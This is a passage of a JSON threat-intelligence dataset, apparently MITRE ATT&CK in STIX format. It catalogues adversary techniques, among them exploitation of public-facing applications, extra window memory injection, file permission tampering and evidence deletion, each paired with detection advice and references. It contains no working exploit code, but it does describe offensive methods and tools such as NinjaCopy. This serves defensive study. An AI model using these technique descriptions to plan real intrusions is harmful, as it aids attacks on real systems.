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            "created": "2017-05-31T21:31:17.472Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "external_id": "T1129",
                    "url": "https://attack.mitre.org/techniques/T1129",
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                    "url": "https://en.wikipedia.org/wiki/Microsoft_Windows_library_files",
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                "Process Monitoring"
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                "Linux",
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                    "phase_name": "exfiltration",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                "Linux",
                "macOS",
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            "type": "attack-pattern",
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                    "phase_name": "exfiltration",
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            "modified": "2018-10-17T00:14:20.652Z",
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            "name": "Exfiltration Over Other Network Medium",
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            "external_references": [
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                    "external_id": "T1011",
                    "url": "https://attack.mitre.org/techniques/T1011",
                    "source_name": "mitre-attack"
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "exfiltration",
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            "modified": "2018-10-17T00:14:20.652Z",
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            "x_mitre_domains": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Exfiltration Over Physical Medium",
            "description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.",
            "external_references": [
                {
                    "external_id": "T1052",
                    "url": "https://attack.mitre.org/techniques/T1052",
                    "source_name": "mitre-attack"
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            "object_marking_refs": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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                "File monitoring"
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            "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media are mounted.",
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            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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            "x_mitre_system_requirements": [
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                    "phase_name": "exfiltration",
                    "kill_chain_name": "mitre-attack"
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            "modified": "2018-10-17T00:14:20.652Z",
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Exploit Public-Facing Application",
            "description": "The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL) (Citation: NVD CVE-2016-6662), standard services (like SMB (Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services. (Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211).\n\nFor websites and databases, the OWASP top 10 gives a good list of the top 10 most common web-based vulnerabilities. (Citation: OWASP Top 10)",
            "external_references": [
                {
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                    "url": "https://attack.mitre.org/techniques/T1190",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
                    "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.",
                    "source_name": "NVD CVE-2016-6662"
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                    "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/",
                    "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.",
                    "source_name": "CIS Multiple SMB Vulnerabilities"
                },
                {
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169",
                    "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.",
                    "source_name": "NVD CVE-2014-7169"
                },
                {
                    "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project",
                    "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.",
                    "source_name": "OWASP Top 10"
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Packet capture",
                "Web logs",
                "Web application firewall logs",
                "Application logs"
            ],
            "x_mitre_detection": "Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "initial-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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        {
            "id": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Exploitation for Client Execution",
            "description": "Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1192). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193), [Spearphishing Link](https://attack.mitre.org/techniques/T1192), and [Spearphishing via Service](https://attack.mitre.org/techniques/T1194). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.",
            "external_references": [
                {
                    "external_id": "T1203",
                    "url": "https://attack.mitre.org/techniques/T1203",
                    "source_name": "mitre-attack"
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            ],
            "object_marking_refs": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Anti-virus",
                "System calls",
                "Process Monitoring"
            ],
            "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_system_requirements": [
                "Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise."
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            "x_mitre_remote_support": true,
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Exploitation for Credential Access",
            "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.",
            "external_references": [
                {
                    "external_id": "T1212",
                    "url": "https://attack.mitre.org/techniques/T1212",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx",
                    "description": "Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.",
                    "source_name": "Technet MS14-068"
                },
                {
                    "url": "https://adsecurity.org/?p=1515",
                    "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
                    "source_name": "ADSecurity Detecting Forged Tickets"
                }
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            ],
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                "Authentication logs",
                "Windows Error Reporting",
                "Process Monitoring"
            ],
            "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
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            ],
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            "created": "2018-04-18T17:59:24.739Z",
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            "x_mitre_domains": [
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            "name": "Exploitation for Defense Evasion",
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            "external_references": [
                {
                    "external_id": "T1211",
                    "url": "https://attack.mitre.org/techniques/T1211",
                    "source_name": "mitre-attack"
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            "x_mitre_data_sources": [
                "Windows Error Reporting",
                "Process Monitoring",
                "File monitoring"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "System access controls"
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            "x_mitre_detection": "Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
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            "name": "Exploitation for Privilege Escalation",
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                {
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                "User"
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                "User"
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                "macOS",
                "Windows"
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                "In the case of privilege escalation, the adversary likely already has user permissions on the target system."
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                {
                    "phase_name": "privilege-escalation",
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                {
                    "external_id": "T1210",
                    "url": "https://attack.mitre.org/techniques/T1210",
                    "source_name": "mitre-attack"
                },
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                    "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/",
                    "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.",
                    "source_name": "CIS Multiple SMB Vulnerabilities"
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                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0176",
                    "description": "National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.",
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                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
                    "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.",
                    "source_name": "NVD CVE-2016-6662"
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                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169",
                    "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.",
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            "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",
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            "x_mitre_permissions_required": [
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            "x_mitre_platforms": [
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                "Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network."
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            "description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028) can also be used externally.\n\nAdversaries may use remote services to access and persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of [Redundant Access](https://attack.mitre.org/techniques/T1108) during an operation.",
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                    "external_id": "T1133",
                    "url": "https://attack.mitre.org/techniques/T1133",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/",
                    "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
                    "source_name": "Volexity Virtual Private Keylogging"
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            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Daniel Oakley",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_data_sources": [
                "Authentication logs"
            ],
            "x_mitre_detection": "Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
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            "type": "attack-pattern",
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                {
                    "phase_name": "persistence",
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            "modified": "2018-10-17T00:14:20.652Z",
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            "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)",
            "external_references": [
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                    "external_id": "T1181",
                    "url": "https://attack.mitre.org/techniques/T1181",
                    "source_name": "mitre-attack"
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                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx",
                    "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
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                    "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
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                    "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
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                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html",
                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
                    "source_name": "MalwareTech Power Loader Aug 2013"
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                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/",
                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013"
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                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx",
                    "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
                    "source_name": "Microsoft SendNotifyMessage function"
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                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Endgame Process Injection July 2017"
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                "Host intrusion prevention systems",
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            "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Endgame Process Injection July 2017)",
            "x_mitre_permissions_required": [
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            "x_mitre_platforms": [
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                    "url": "https://attack.mitre.org/techniques/T1008",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
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                "Process monitoring",
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            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
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            "x_mitre_platforms": [
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                "Windows",
                "macOS"
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            "type": "attack-pattern",
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:21.689Z",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)",
            "external_references": [
                {
                    "external_id": "T1107",
                    "url": "https://attack.mitre.org/techniques/T1107",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
                    "source_name": "Trend Micro APT Attack Tools"
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            ],
            "object_marking_refs": [
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            "x_mitre_data_sources": [
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                "Process command-line parameters",
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            "x_mitre_defense_bypassed": [
                "Host forensic analysis"
            ],
            "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:17.915Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "File Permissions Modification",
            "description": "File permissions are commonly managed by discretionary access control lists (DACLs) specified by the file owner. File DACL implementation may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions)\n\nAdversaries may modify file permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file and/or elevated permissions such as Administrator/root depending on the file's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files. Specific file modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files.",
            "external_references": [
                {
                    "external_id": "T1222",
                    "url": "https://attack.mitre.org/techniques/T1222",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces",
                    "description": "Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.",
                    "source_name": "Microsoft DACL May 2018"
                },
                {
                    "url": "https://docs.microsoft.com/windows/desktop/fileio/file-security-and-access-rights",
                    "description": "Microsoft. (2018, May 30). File Security and Access Rights. Retrieved August 19, 2018.",
                    "source_name": "Microsoft File Rights May 2018"
                },
                {
                    "url": "https://www.tutorialspoint.com/unix/unix-file-permission.htm",
                    "description": "Tutorials Point. (n.d.). Unix / Linux - File Permission / Access Modes. Retrieved August 19, 2018.",
                    "source_name": "Unix File Permissions"
                },
                {
                    "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100",
                    "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
                    "source_name": "Hybrid Analysis Icacls1 June 2018"
                },
                {
                    "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110",
                    "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
                    "source_name": "Hybrid Analysis Icacls2 May 2018"
                },
                {
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/icacls",
                    "description": "Plett, C. et al.. (2017, October 17). icacls. Retrieved August 19, 2018.",
                    "source_name": "Microsoft icacls OCT 2017"
                },
                {
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/attrib",
                    "description": "Plett, C. et al.. (2017, October 15). attrib. Retrieved August 19, 2018.",
                    "source_name": "Microsoft attrib OCT 2017"
                },
                {
                    "url": "https://linux.die.net/man/1/chmod",
                    "description": "MacKenzie, D. & Meyering, J. (n.d.). chmod(1) - Linux man page. Retrieved August 19, 2018.",
                    "source_name": "Linux chmod"
                },
                {
                    "url": "https://linux.die.net/man/1/chown",
                    "description": "MacKenzie, D. & Meyering, J. (n.d.). chown(1) - Linux man page. Retrieved August 19, 2018.",
                    "source_name": "Linux chown"
                },
                {
                    "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/",
                    "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.",
                    "source_name": "EventTracker File Permissions Feb 2014"
                },
                {
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/takeown",
                    "description": "Plett, C. et al.. (2017, October 15). takeown. Retrieved August 19, 2018.",
                    "source_name": "Microsoft takeown OCT 2017"
                },
                {
                    "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.security/set-acl",
                    "description": "Microsoft. (n.d.). Set-Acl. Retrieved August 19, 2018.",
                    "source_name": "Microsoft SetAcl"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Jan Miller, CrowdStrike"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Process Monitoring",
                "Process command-line parameters",
                "Windows event logs"
            ],
            "x_mitre_defense_bypassed": [
                "File system access controls"
            ],
            "x_mitre_detection": "Monitor and investigate attempts to modify DACLs and file ownership, such as use of icacls (Citation: Microsoft icacls OCT 2017), takeown (Citation: Microsoft takeown OCT 2017), attrib (Citation: Microsoft attrib OCT 2017), and [PowerShell](https://attack.mitre.org/techniques/T1086) Set-Acl (Citation: Microsoft SetAcl) in Windows and chmod (Citation: Linux chmod)/chown (Citation: Linux chown) in macOS/Linux. Many of these are built-in system utilities and may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file permission change auditing on folders containing key binary/configuration files. Windows Security Log events (Event ID 4670) are used when DACLs are modified. (Citation: EventTracker File Permissions Feb 2014)",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM",
                "root"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "File System Logical Offsets",
            "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)",
            "external_references": [
                {
                    "external_id": "T1006",
                    "url": "https://attack.mitre.org/techniques/T1006",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin",
                    "description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.",
                    "source_name": "Hakobyan 2009"
                },
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1",
                    "description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.",
                    "source_name": "Github PowerSploit Ninjacopy"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "API monitoring"
            ],
            "x_mitre_defense_bypassed": [
                "File monitoring",
                "File system access controls"
            ],
            "x_mitre_detection": "Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1086), additional logging of PowerShell scripts is recommended.",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:20.934Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "File System Permissions Weakness",
